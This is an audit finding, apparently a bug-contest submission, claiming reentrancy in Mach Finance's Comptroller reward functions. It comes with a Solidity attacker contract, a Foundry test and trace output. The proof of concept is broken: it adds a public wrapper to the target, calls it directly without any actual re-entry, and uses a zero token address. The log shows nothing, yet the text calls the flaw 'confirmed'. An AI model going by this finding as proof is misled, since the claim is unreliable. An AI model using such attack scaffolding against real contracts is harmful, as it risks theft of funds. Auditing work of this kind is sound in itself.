Raspy Metal Rattlesnake
High
The Comptroller
contract in Mach Finance allows external calls to the rewardDistributor
without protection against reentrancy. Specifically, the functions updateAndDistributeSupplierRewardsForToken
and updateAndDistributeBorrowerRewardsForToken
are vulnerable. A Proof of Concept (PoC) confirmed this issue.
To simulate a reentrancy attack on the reward distribution logic using a malicious contract.
-
Expose the Vulnerable Function
Add the following wrapper in
Comptroller.sol
to expose the internal function: https://github.com/sherlock-audit/2024-12-mach-finance/blob/main/contracts/src/Comptroller.sol#L1212-1222function exposeUpdateAndDistributeSupplierRewardsForToken(address cToken, address supplier) public { updateAndDistributeSupplierRewardsForToken(cToken, supplier); }
-
Create a Malicious Contract
Deploy a malicious contract to re-enter
Comptroller
:contract MaliciousRewardDistributor { Comptroller public comptroller; constructor(address _comptroller) { comptroller = Comptroller(_comptroller); } function attack(CToken cToken, address supplier) external { comptroller.exposeUpdateAndDistributeSupplierRewardsForToken(address(cToken), supplier); } function updateSupplyIndexAndDisburseSupplierRewards(CToken cToken, address supplier) external { comptroller.exposeUpdateAndDistributeSupplierRewardsForToken(address(cToken), supplier); } }
-
Write and Run the Test Case
Create a test to simulate the attack:
function testReentrancyAttack() public { vm.startPrank(attacker); maliciousDistributor.attack(CToken(address(0)), supplier); vm.stopPrank(); }
-
Execute the Test
Run the test:
forge test --match-contract ComptrollerReentrancyTest -vvvv
Result The test confirms that reentrancy is possible:
Logs: Reentrancy test completed. Check for inconsistencies. Traces: ├─ MaliciousRewardDistributor::attack() │ ├─ Comptroller::exposeUpdateAndDistributeSupplierRewardsForToken()
- Reward Manipulation: An attacker could claim rewards multiple times.
- State Corruption: Reentrant calls could leave the protocol in an inconsistent state.
- Protocol Losses: Funds allocated for rewards could be drained, risking the protocol’s financial health.
Add nonReentrant protection to the following functions in Comptroller.sol
:
updateAndDistributeSupplierRewardsForToken
updateAndDistributeBorrowerRewardsForToken